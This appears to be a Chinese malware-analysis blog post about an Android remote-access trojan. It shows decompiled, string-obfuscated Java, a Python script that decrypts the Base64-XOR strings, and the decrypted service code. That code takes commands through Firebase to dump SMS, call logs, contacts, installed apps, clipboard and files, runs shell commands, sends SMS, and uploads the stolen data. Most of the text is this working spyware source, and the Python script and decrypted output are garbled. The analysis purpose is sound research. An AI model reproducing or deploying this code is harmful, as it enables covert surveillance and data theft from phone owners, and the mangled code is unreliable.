if (query.getCount() > 0) {
str = decrypt;
while (query.moveToNext()) {
str = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hzLllMJSd8AhczPTRIWjQnI15MOiYnSl17MylCXzkxJ11RJnolQlV6InYCWnojLkRMMHl0T1tgMmhMSCUnNkJMezcpQBc6eyVCViF6NkNfajUqWQU4MSJEWXMgKUZdO2lySF1mZXJOW3g3d09ceGB3Glx4NnYeXXhsJx4LM2NyTwxmZ3YKGGtoJBN2NDkjFxhpeyQT") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"))) + StringFogImpl.decrypt("aTY0EwQ3aghYVTcxNBcYaXskEw==") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MTUyTAk="))) + StringFogImpl.decrypt("aTY0ExhpNnhrSjo5fA0EejZ4") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("NDclQk07IBlZQSUx"))) + StringFogImpl.decrypt("aXsiRE5r");
}
} else {
str = decrypt;
}
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="), true);
fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _getpackages() {
String str;
ByteArrayOutputStream byteArrayOutputStream;
List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamxWVTQmIURWb2R9XVkxMC9DX29kfVBaOjA/VlU0JiFEVm9kfV1ZMTAvQ19vZH1PWTY/IV9XIDoiFxtnZnQWRXs/I1RUOjMhDUM3NSVGXyc7M0Ncb3d2HQhuIy9JTD1uJUxUNnx/GB11eWYfCCUsbxZQMD0hRUxvNTNZV245J19fPDp8TE0hO31dWTEwL0Nfb2V2XUBuNylBVyduZR1cMW82TFwxPShKFTc7MllXOG53HUgtbytMSjI9KABMOiR8FUgtbyRCSjExNABKNDAvWEtvZXZdQG4kKV5RIT0pQwInMSpMTDwiIxZXIzE0S1Q6I3xMTSE7fVAWPjE/QVcyM2YNWi43KUFXJ240SFxuKWhGXSw4KUpfdT0rSkM4NT4AUDA9IUVMb2F2XUBuOSdVFSI9IllQb2F2XUBuJCleUSE9KUMCNDY1QlQgICMWVDAyMhcJZSQ+FkV7PyNUVDozIQ1ILjcpQVcnbmVLXjNvOwNTMC0qQl8ydDVdWTsvIEFXNCB8X1EyPDIWVTQmIURWeCYvSlAhbncdSC1vOwNaITo9RV08My5ZAmFkNlUDIj0iWVBvZXMdSC1vJEJKMTE0FwhuNilfXDAma19ZMT0zXgJgJD4WWjomIkhKb2U2VRgmOypEXHUmI0kDNzUlRl8nOzNDXG82KkxbPm8lQlQ6JnxaUDwgIxZFdWhpXkwsOCMTBDc7IlQG");
Iterator<PackageInfo> it = installedPackages.iterator();
while (true) {
str = decrypt;
if (it.hasNext()) {
PackageInfo next = it.next();
getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
decrypt = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzLUhBOTshSh91anpEVTJ0NV9baHMiTEw0bi9AWTIxaV1WMm8kTEswYnIB") + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + StringFogImpl.decrypt("cnR4EVw8ImZeTCw4IxAfODU0SlE7eSpIXiFucB1ILW82TFwxPShKFSE7NhcLJSx9Qk4wJiBBVyJuJ1hMOm9hDQZpNmZeTCw4IxAfNjsqQkpvMzRIXTtvYQ0GdQ==") + next.applicationInfo.loadLabel(getPackageManager()).toString() + StringFogImpl.decrypt("dXww") + next.versionName + StringFogImpl.decrypt("dX16AlpraCRfBmk2Zl5MLDgjEB82OypCSm8mI0kDcnR4DQ==") + next.packageName + StringFogImpl.decrypt("aXskEwQ3JngRFzE9MBMENyZ4ERcxPTAT");
} else {
try {
break;
} catch (FileNotFoundException e) {
return;
} catch (IOException e2) {
return;
}
}
}
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejU2XUt7PDJAVA=="), true);
fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
fileOutputStream.close();
SketchwareUtil.showMessage(getApplicationContext(), StringFogImpl.decrypt("JTUlRl0/Jyw="));
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
}
public static Bitmap getBitmapFromDrawable(Drawable drawable) {
Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(createBitmap);
drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
drawable.draw(canvas);
return createBitmap;
}
public String shell_exec(String str) {
String str2 = "";
String[] strArr = {StringFogImpl.decrypt("Jjw="), StringFogImpl.decrypt("eDc="), str};
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
while (true) {
String readLine = bufferedReader.readLine();
if (readLine != null) {
str2 = String.valueOf(str2) + readLine;
} else {
return str2;
}
}
} catch (Exception e) {
return StringFogImpl.decrypt("MCY0Qko=");
}
}
public void _sudoapt(String str, String str2) {
_setrespo(StringFogImpl.decrypt("JjwjQVQjPSNa"), "", shell_exec(str), "", "");
}
public void _devinfo() {
getApplicationContext();
Display defaultDisplay = ((WindowManager) getSystemService(StringFogImpl.decrypt("Ij0oSVci"))).getDefaultDisplay();
int width = defaultDisplay.getWidth();
_setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgRWmsHA39xFBh8DQR6Nng=") + Build.SERIAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GBsCaHRvdHoCWmt0") + Build.MODEL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBB8DRhpeyQT") + Build.ID + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GDUoWF40NzJYSjBuZhEXN2o=") + Build.MANUFACTURER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FyYnQ1xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ETEwRFswdApMVjIhJ0pdb3R6Alpr") + Locale.getDefault().getDisplayLanguage() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Bjc0SF07dBRISzo4M1lROjp8DQR6Nng=") + width + StringFogImpl.decrypt("LQ==") + defaultDisplay.getHeight() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AS02SAJ1aGlPBg==") + Build.TYPE + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ACcjXwJ1aGlPBg==") + Build.USER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxUVaAJ1aGlPBg==") + 1 + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBoFf30YEQh5eRluZhEXN2o=") + Build.VERSION.INCREMENTAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("BhANFwR6NngN") + Build.VERSION.SDK + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxsHf3xvdHoCWms=") + Build.BOARD + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FwYHY3xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HRsVeQJ1aGlPBg==") + Build.HOST + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Ex0Ian0HBBRkdgFuZhEXN2o=") + Build.FINGERPRINT + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AzE0XlE6OmZuVzExfA0EejZ4") + Build.VERSION.RELEASE + StringFogImpl.decrypt("aXsiRE5r"), "", "");
}
public void _showtoast(String str) {
SketchwareUtil.showMessage(getApplicationContext(), str);
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ATsnXkx1By5CTzt0FVhbNjE1Xl4gOCpU"), "", "");
}
public void _vibra(String str) {
this.vibrator.vibrate(Integer.parseInt(str));
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ETEwRFswdBBEWic1Mkhc"), "", "");
}
public void _ttsdev(String str) {
this.tts.speak(str, 1, null);
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AQAVDXs6OTZBXSExIg1rIDclSEsmMjNBVCw="), "", "");
}
public void _palysmudic(String str) {
this.mp = new MediaPlayer();
this.mp.setAudioStreamType(3);
try {
this.mp.setDataSource(str);
} catch (IOException e) {
e.printStackTrace();
} catch (IllegalArgumentException e2) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0KGGt0A39qGgZ8DQR6JzZMVmsHKUNfdRopWRgTOzNDXHUyNEJVdQEUYQ=="), "", "");
} catch (IllegalStateException e3) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
} catch (SecurityException e4) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
}
try {
this.mp.prepare();
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
} catch (IOException e5) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
} catch (IllegalStateException e6) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
}
this.mp.start();
if (this.mp.isPlaying()) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
}
}
public void _sendsm(String str, String str2) {
try {
SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F18nMSNDH2sHM05bMCc1FxhpezVdWTtqC0hLJjUhSBgGMShZGAYhJU5dJicgWFQ5LQ=="), "", "");
} catch (Exception e) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMGETfScmKV8CdWhpXkg0OnhoUSE8I18YJTE0QFEmJy9CVnU9NQ1WOiBmSlEjMSgNVyd0AkxMNHQvXhg8OiVCSicxJVkW"), "", "");
}
}
public void _changewall(String str) {
if (str.equals(StringFogImpl.decrypt("ZQ=="))) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
} catch (Exception e) {
e.printStackTrace();
}
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
} else if (str.equals(StringFogImpl.decrypt("ZA=="))) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
} catch (Exception e2) {
e2.printStackTrace();
}
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
} else if (str.equals(StringFogImpl.decrypt("Zw=="))) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
} catch (Exception e3) {
e3.printStackTrace();
}
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
}
}
/* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
if (r1.isEmpty() != false) goto L13;
*/
/*
Code decompiled incorrectly, please refer to instructions dump.
*/
public void clips() {
String str = null;
final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
String str2 = "";
new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
@Override // java.lang.Runnable
public void run() {
clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(StringFogImpl.decrypt("NjgvXVo6NTRJ"));
}
});
try {
if (clipboardManagerArr[0].hasPrimaryClip()) {
ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(StringFogImpl.decrypt("ITE+WRclOCdEVg=="))) {
str2 = String.valueOf(primaryClip.getItemAt(0).getText());
}
}
str = str2;
} catch (NullPointerException e) {
}
_setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgN") + str + StringFogImpl.decrypt("aXsiRE5r"), "", "");
}
public void _voicere(String str) {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("GTUzQ1s9MSINbQcYZhcY") + str, "", "");
Intent intent = new Intent();
intent.addFlags(268435456);
intent.setAction(StringFogImpl.decrypt("NDoiX1c8MGhEViExKFkWNDcyRFc7ehBkfQI="));
intent.setData(Uri.parse(str));
startActivity(intent);
}
public void tofft() {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlLXnUAKV9bPXQqRF89IA=="), "", "");
CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
try {
cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
} catch (CameraAccessException e) {
}
}
public void tont() {
_setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlDGAE7NE5QdTgvSlAh"), "", "");
CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
try {
cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
} catch (CameraAccessException e) {
}
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
@Override // android.app.Service
public void onDestroy() {
Intent intent = new Intent();
intent.setAction(StringFogImpl.decrypt("JzE1WVknIDVISiM9JUg="));
intent.setClass(this, restarter.class);
sendBroadcast(intent);
super.onDestroy();
}
}
方案:字符串替代解密
将“StringFogImpl.decrypt("[密文]")
”替换为解密后的明文:
解密逻辑
- 逐行读取需要解密文本
- 检测是否有“StringFogImpl.decrypt”
- 无:跳过
- 有:正则匹配出密文
- 密文Base64解码后,Xor“UTF-8”
- 解密后的密文替代明文
- 每行检测或替换完,最终输出的为明文
运行效果
出现问题:’utf-8’ codec can’t decode byte 0xb6
解决方案
【假】.decode(“UTF-8”, “ignore”)
如果牵扯计算,会出现乱码。
如果仅为显示,一般无所谓。【真】计算数据不要转UTF-8
原本是为了方便,全部数据转UTF-8,但是有一些数据超出的UTF-8的范围(十进制:0-127,十六进制:0-7F),如“0xB6”。🐍🐍🐍Python代码🐍🐍🐍
```pythoncoding: UTF-8
import base64 import re
strNewLine = “\n” strQuotation = ‘“‘ strEncode = r”StringFogImpl.decrypt”
读取需要解密的文本文件
def ReadText( txtIn ): with open( txtIn , ‘r+’ , encoding = ‘UTF-8’ ) as f: strTXT = f.read()
# print(strTXT)
return strTXT
解密后保存为文本文件输出
def Text2Write( str2Write ): with open( txtOut , ‘w+’ , encoding = ‘UTF-8’ ) as f: f.write( str2Write ) f.close()
检测文本是否需要解密
def CheckTXT2Recovery( strEncode ): if strEncode in strTXT: print( “文件需要解密” ) GetCipherText2XOR( strTXT ) else: print( “文件不需要解密” )
解密字符串
def GetCipherText2XOR( strTXT ):
# 按行切割为数组
arrStrLines = strTXT.split( strNewLine )
# print(arrStr)
# 最后需要输出的明文
strXORedAll = ''
# 正则匹配解密函数和密文
reDecrypt = re.compile( 'StringFogImpl.decrypt\("(.*?)"\)' , re.S )
for iLine in arrStrLines:
# 单行是否需要解密,需要解密则提取密文解密,不需要直接累加为明文
if strEncode in iLine:
listStrSplit = re.split( reDecrypt , iLine )
# 匹配到几个密文
nRE = len( listStrSplit )
strXORedLine = listStrSplit[0]
nCount = 1
# 考虑一行多个:从[1]开始步长为2取数组解密
for i in range( 1 , nRE ):
# print(i)
nCount += 1
if (nCount % 2 == 0):
print( "密文:" , listStrSplit[i] )
strDeXORed = doDeBase64XOR( listStrSplit[i] )
strXORedLine += strQuotation + strDeXORed + strQuotation
else:
strXORedLine += listStrSplit[i]
print( "单行解密后:" , strXORedLine , strNewLine )
else:
# print( "此行无需解密:" , strXORedLine )
strXORedLine = iLine
strXORedAll += strXORedLine + strNewLine
# print( "全部解密后:" , strXORedAll )
Text2Write( strXORedAll )
因为有超出7B的值,所以不能转UTF-8再解密
def doDeBase64XOR( strCiphered ): print( “需解密字符串:” , strCiphered )
bText = strCiphered.encode( "UTF-8" )
bDeBase64ed = base64.b64decode( bText )
resultXOR = doXOR( bDeBase64ed , strKey )
# print( "解密后字符串:" , resultXOR )
return resultXOR
strKey = r”UTF-8”
def doDeBase64( strText ): print( “需解密字符串:” , strText )
bText = strText.encode( "UTF-8" )
bDeBase64ed = base64.b64decode( bText )
# 可用于显示,不能用于计算
strDeBase64ed = bDeBase64ed.decode( "UTF-8" , "ignore" )
# print( "Base64解码后:" , strDeBase64ed )
return strDeBase64ed
def doXOR( dataCipherTXT , strKey ): resultXOR = ‘’
# lenMax = max( len( dataCipherTXT ) , len( strKey ) )
for i in range( len( dataCipherTXT ) ):
# 如果是int类型直接使用
ordCiphered = dataCipherTXT[i % len( dataCipherTXT )]
# 如果是字符串,ord转为int
typeCipherTXT = str( type( ordCiphered ) )
if "str" in typeCipherTXT:
ordCiphered = ord( ordCiphered )
# 逐个取出
ordKey = ord( strKey[i % len( strKey )] )
# 异或
ordXORed = ordCiphered ^ ordKey
# 转为字符串
strXORed = chr( ordXORed )
# 累加
resultXOR += strXORed
print( "解密后字符串:" , resultXOR )
return resultXOR
txtIn = r”密文.txt” txtOut = r”明文.txt”
if name == ‘main‘: print( “文件:” , txtIn ) strTXT = ReadText( txtIn ) CheckTXT2Recovery( strEncode ) print( “结束” )
<a name="Ecn5c"></a>
### 运行结果
<a name="EsoUv"></a>
#### 显示
![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1657962392056-eb2f9392-6136-4ce7-a897-da74270aa8df.png#clientId=u926596a4-960e-4&errorMessage=unknown%20error&from=paste&height=668&id=u71efb851&originHeight=835&originWidth=1020&originalType=binary&ratio=1&rotation=0&showTitle=false&size=123463&status=error&style=none&taskId=u1dda3c25-7f52-4c06-9b89-cac96e4dd73&title=&width=816)
<a name="pWmgD"></a>
#### 明文输出
```java
public void _service() {
_setpres();
_setpres2("");
FirebaseDatabase.getInstance().getReference(/comds/comds + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
@Override // com.google.firebase.database.ChildEventListener
public void onChildAdded(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildChanged(DataSnapshot dataSnapshot, String str) {
Map map = (Map) dataSnapshot.getValue();
servicess.this.cmdn = new StringBuilder().append(map.get(cmdn)).toString();
servicess.this.cmdv = new StringBuilder().append(map.get(cmdv)).toString();
servicess.this.cmdvar = new StringBuilder().append(map.get(cmdvar)).toString();
if (!servicess.this.cmdn.equals(cd)) {
if (!servicess.this.cmdn.equals(dmpsms)) {
if (!servicess.this.cmdn.equals(dmpcall)) {
if (!servicess.this.cmdn.equals(dmpcont)) {
if (!servicess.this.cmdn.equals(getpackages)) {
if (!servicess.this.cmdn.equals(shellcmd)) {
if (!servicess.this.cmdn.equals(deviceinfo)) {
if (!servicess.this.cmdn.equals(toasttext)) {
if (!servicess.this.cmdn.equals(ttsdev)) {
if (!servicess.this.cmdn.equals(vibratedev)) {
if (!servicess.this.cmdn.equals(playsmusic)) {
if (!servicess.this.cmdn.equals(sendsms)) {
if (!servicess.this.cmdn.equals(changewall)) {
if (!servicess.this.cmdn.equals(opweb)) {
if (!servicess.this.cmdn.equals(tont)) {
if (!servicess.this.cmdn.equals(tofft)) {
if (servicess.this.cmdn.equals(clip)) {
servicess.this.clips();
return;
}
return;
}
servicess.this.tofft();
return;
}
servicess.this.tont();
return;
}
servicess.this._voicere(servicess.this.cmdv);
return;
}
servicess.this._changewall(servicess.this.cmdv);
return;
}
servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
return;
}
servicess.this._palysmudic(servicess.this.cmdv);
return;
}
servicess.this._vibra(servicess.this.cmdv);
return;
}
servicess.this._ttsdev(servicess.this.cmdv);
return;
}
servicess.this._showtoast(servicess.this.cmdv);
return;
}
servicess.this._devinfo();
return;
}
servicess.this._sudoapt(servicess.this.cmdv, "");
return;
}
servicess.this._getpackages();
return;
}
servicess.this._dmpcon();
return;
}
servicess.this._dmpcal();
return;
}
servicess.this.getAllSms(servicess.this.getApplicationContext());
return;
}
servicess.this._cd(servicess.this.cmdv, "", "");
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildMoved(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onCancelled(DatabaseError databaseError) {
}
}); // /comds/comds/comds/comds
}
public void _setpres() {
FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
@Override // com.google.firebase.database.ChildEventListener
public void onChildAdded(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildChanged(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildRemoved(DataSnapshot dataSnapshot) {
servicess.this._setpres2("");
}
@Override // com.google.firebase.database.ChildEventListener
public void onChildMoved(DataSnapshot dataSnapshot, String str) {
}
@Override // com.google.firebase.database.ChildEventListener
public void onCancelled(DatabaseError databaseError) {
}
});
}
public void _setpres2(String str) {
this.responsetxt.clear();
this.responsetxt = new HashMap<>();
this.responsetxt.put(phone, String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
this.responsetxt.put(android, Android + Build.VERSION.RELEASE);
this.responsetxt.put(battery, String.valueOf(((BatteryManager) getSystemService(batterymanager)).getIntProperty(4)) + %);
this.responsetxt.put(id, gui.uuii(getApplicationContext()));
for (String str2 : new String[]{/system/app/Superuser.apk, /sbin/su, /system/bin/su, /system/xbin/su, /data/local/xbin/su, /data/local/bin/su, /system/sd/xbin/su, /system/bin/failsafe/su, /data/local/su, /su/bin/su}) {
if (new File(str2).exists()) {
Yes;
}
}
this.responsetxt.put(rooted, No);
DatabaseReference child = FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device);
child.setValue(this.responsetxt);
child.onDisconnect().removeValue();
}
public void _cd(final String str, String str2, String str3) {
int i = 0;
if (FileUtil.isExistFile(str)) {
if (FileUtil.isDirectory(str)) {
this.lst.clear();
FileUtil.listDir(str, this.lst);
this.num = 0.0d;
this.str = <li >..;
while (true) {
int i2 = i;
if (i2 < this.lst.size()) {
if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
this.str = this.str.concat(<li class="fo" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
} else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.png) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpeg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.svg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.ico)) {
this.str = this.str.concat(<li class="im" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
} else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.mp4)) {
this.str = this.str.concat(<li class="vi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
} else {
this.str = this.str.concat(<li class="fi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
}
this.num += 1.0d;
i = i2 + 1;
} else {
_setrespo(this.str, str, "", "", "");
return;
}
}
} else if (FileUtil.isFile(str)) {
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
BitmapFactory.decodeFile(str, options);
if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
Date date = new Date(new File(str).lastModified());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
_setrespo(imgview, str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), <li>Name: + Uri.parse(str).getLastPathSegment() + <li>Creation: + date + <li>Size: + (new File(str).length() / 1024) + KB <li>Path: + str, "");
return;
}
